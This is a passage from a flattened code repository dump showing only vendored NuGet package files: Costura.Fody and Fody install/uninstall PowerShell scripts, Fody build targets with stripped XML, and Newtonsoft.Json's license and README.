27 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml")
28 |
29 | $FodyLastProjectPath = $env:FodyLastProjectPath
30 | $FodyLastWeaverName = $env:FodyLastWeaverName
31 | $FodyLastXmlContents = $env:FodyLastXmlContents
32 |
33 | if (
34 | ($FodyLastProjectPath -eq $project.FullName) -and
35 | ($FodyLastWeaverName -eq $addinName))
36 | {
37 | Write-Host "Upgrade detected. Restoring content for $addinName"
38 | [System.IO.File]::WriteAllText($fodyWeaversPath, $FodyLastXmlContents)
39 | FlushVariables
40 | return
41 | }
42 |
43 | FlushVariables
44 |
45 | $xml = [xml](get-content $fodyWeaversPath)
46 |
47 | $weavers = $xml["Weavers"]
48 | $node = $weavers.SelectSingleNode($addinName)
49 |
50 | if (-not $node)
51 | {
52 | Write-Host "Appending node"
53 | $newNode = $xml.CreateElement($addinName)
54 | $weavers.AppendChild($newNode)
55 | }
56 |
57 | $xml.Save($fodyWeaversPath)
58 | }
59 |
60 | function Fix-ReferencesCopyLocal($package, $project)
61 | {
62 | Write-Host "Fix-ReferencesCopyLocal $($package.Id)"
63 | $asms = $package.AssemblyReferences | %{$_.Name}
64 |
65 | foreach ($reference in $project.Object.References)
66 | {
67 | if ($asms -contains $reference.Name + ".dll")
68 | {
69 | if($reference.CopyLocal -eq $true)
70 | {
71 | $reference.CopyLocal = $false;
72 | }
73 | }
74 | }
75 | }
76 |
77 | function UnlockWeaversXml($project)
78 | {
79 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml");
80 | if ($fodyWeaversProjectItem)
81 | {
82 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}")
83 | $fodyWeaversProjectItem.Save()
84 | $fodyWeaversProjectItem.Document.Close()
85 | }
86 | }
87 |
88 | UnlockWeaversXml($project)
89 |
90 | RemoveForceProjectLevelHack $project
91 |
92 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project
93 |
94 | Fix-ReferencesCopyLocal $package $project
--------------------------------------------------------------------------------
/packages/Costura.Fody.1.6.2/tools/uninstall.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 |
3 |
4 | function Update-FodyConfig($addinName, $project)
5 | {
6 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml")
7 |
8 | if (!(Test-Path ($fodyWeaversPath)))
9 | {
10 | return
11 | }
12 |
13 | Write-Host "Caching variables for possible update"
14 | $env:FodyLastProjectPath = $project.FullName
15 | $env:FodyLastWeaverName = $addinName
16 | $env:FodyLastXmlContents = [IO.File]::ReadAllText($fodyWeaversPath)
17 |
18 |
19 | $xml = [xml](get-content $fodyWeaversPath)
20 |
21 | $weavers = $xml["Weavers"]
22 | $node = $weavers.SelectSingleNode($addinName)
23 |
24 | if ($node)
25 | {
26 | Write-Host "Removing node from FodyWeavers.xml"
27 | $weavers.RemoveChild($node)
28 | }
29 |
30 | $xml.Save($fodyWeaversPath)
31 | }
32 |
33 |
34 | function UnlockWeaversXml($project)
35 | {
36 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml");
37 | if ($fodyWeaversProjectItem)
38 | {
39 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}")
40 | $fodyWeaversProjectItem.Save()
41 | $fodyWeaversProjectItem.Document.Close()
42 | }
43 | }
44 |
45 | UnlockWeaversXml($project)
46 |
47 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/.signature.p7s
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Content/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Fody.2.0.0.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Fody.2.0.0.nupkg
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Fody.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Fody.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Fody.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Fody.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/FodyCommon.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/FodyCommon.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/FodyCommon.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/FodyCommon.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/FodyIsolated.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/FodyIsolated.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/FodyIsolated.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/FodyIsolated.pdb
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Fody.2.0.0/Mono.Cecil.dll
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/Tools/install.ps1:
--------------------------------------------------------------------------------
1 | param($installPath, $toolsPath, $package, $project)
2 | $item = $project.ProjectItems | where-object {$_.Name -eq "FodyWeavers.xml"}
3 | $item.Properties.Item("BuildAction").Value = [int]0
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/build/dotnet/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(NCrunchOriginalSolutionDir)
7 |
8 |
9 |
10 |
11 | $(SolutionDir)
12 |
13 |
14 |
15 |
16 | $(MSBuildProjectDirectory)..\..\..\
17 |
18 |
19 |
20 |
21 |
22 |
23 | $(KeyOriginatorFile)
24 |
25 |
26 |
27 |
28 | $(AssemblyOriginatorKeyFile)
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | $(ProjectDir)FodyWeavers.xml
39 | $(SignAssembly)
40 | $(MSBuildThisFileDirectory)..\..\
41 |
42 |
45 |
52 |
53 |
65 |
66 |
69 |
70 |
71 |
72 | True
73 |
74 |
75 |
76 |
77 |
78 |
81 |
85 |
86 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/build/netstandard1.4/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(NCrunchOriginalSolutionDir)
7 |
8 |
9 |
10 |
11 | $(SolutionDir)
12 |
13 |
14 |
15 |
16 | $(MSBuildProjectDirectory)..\..\..\
17 |
18 |
19 |
20 |
21 |
22 |
23 | $(KeyOriginatorFile)
24 |
25 |
26 |
27 |
28 | $(AssemblyOriginatorKeyFile)
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | $(ProjectDir)FodyWeavers.xml
39 | $(SignAssembly)
40 | $(MSBuildThisFileDirectory)..\..\
41 |
42 |
45 |
52 |
53 |
65 |
66 |
69 |
70 |
71 |
72 | True
73 |
74 |
75 |
76 |
77 |
78 |
81 |
85 |
86 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/packages/Fody.2.0.0/build/portable-net+sl+win+wpa+wp/Fody.targets:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | $(NCrunchOriginalSolutionDir)
7 |
8 |
9 |
10 |
11 | $(SolutionDir)
12 |
13 |
14 |
15 |
16 | $(MSBuildProjectDirectory)..\..\..\
17 |
18 |
19 |
20 |
21 |
22 |
23 | $(KeyOriginatorFile)
24 |
25 |
26 |
27 |
28 | $(AssemblyOriginatorKeyFile)
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 | $(ProjectDir)FodyWeavers.xml
39 | $(SignAssembly)
40 | $(MSBuildThisFileDirectory)..\..\
41 |
42 |
45 |
52 |
53 |
65 |
66 |
69 |
70 |
71 |
72 | True
73 |
74 |
75 |
76 |
77 |
78 |
81 |
85 |
86 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/.signature.p7s
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2007 James Newton-King
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/Newtonsoft.Json.13.0.3.nupkg
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/README.md:
--------------------------------------------------------------------------------
1 | #  Json.NET
2 |
3 | [](https://www.nuget.org/packages/Newtonsoft.Json/)
4 | [](https://dev.azure.com/jamesnk/Public/_build/latest?definitionId=8)
5 |
6 | Json.NET is a popular high-performance JSON framework for .NET
7 |
8 | ## Serialize JSON
9 |
10 | ```csharp
11 | Product product = new Product();
12 | product.Name = "Apple";
13 | product.Expiry = new DateTime(2008, 12, 28);
14 | product.Sizes = new string[] { "Small" };
15 |
16 | string json = JsonConvert.SerializeObject(product);
17 | // {
18 | // "Name": "Apple",
19 | // "Expiry": "2008-12-28T00:00:00",
20 | // "Sizes": [
21 | // "Small"
22 | // ]
23 | // }
24 | ```
25 |
26 | ## Deserialize JSON
27 |
28 | ```csharp
29 | string json = @"{
30 | 'Name': 'Bad Boys',
31 | 'ReleaseDate': '1995-4-7T00:00:00',
32 | 'Genres': [
33 | 'Action',
34 | 'Comedy'
35 | ]
36 | }";
37 |
38 | Movie m = JsonConvert.DeserializeObject(json);
39 |
40 | string name = m.Name;
41 | // Bad Boys
42 | ```
43 |
44 | ## LINQ to JSON
45 |
46 | ```csharp
47 | JArray array = new JArray();
48 | array.Add("Manual text");
49 | array.Add(new DateTime(2000, 5, 23));
50 |
51 | JObject o = new JObject();
52 | o["MyArray"] = array;
53 |
54 | string json = o.ToString();
55 | // {
56 | // "MyArray": [
57 | // "Manual text",
58 | // "2000-05-23T00:00:00"
59 | // ]
60 | // }
61 | ```
62 |
63 | ## Links
64 |
65 | - [Homepage](https://www.newtonsoft.com/json)
66 | - [Documentation](https://www.newtonsoft.com/json/help)
67 | - [NuGet Package](https://www.nuget.org/packages/Newtonsoft.Json)
68 | - [Release Notes](https://github.com/JamesNK/Newtonsoft.Json/releases)
69 | - [Contributing Guidelines](https://github.com/JamesNK/Newtonsoft.Json/blob/master/CONTRIBUTING.md)
70 | - [License](https://github.com/JamesNK/Newtonsoft.Json/blob/master/LICENSE.md)
71 | - [Stack Overflow](https://stackoverflow.com/questions/tagged/json.net)
72 |
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/net20/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/net35/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/net40/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/net45/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/net6.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/netstandard1.3/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/lib/netstandard2.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.3/packageIcon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/packages/Newtonsoft.Json.13.0.3/packageIcon.png
--------------------------------------------------------------------------------
/starfile.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/starfile.jpeg
--------------------------------------------------------------------------------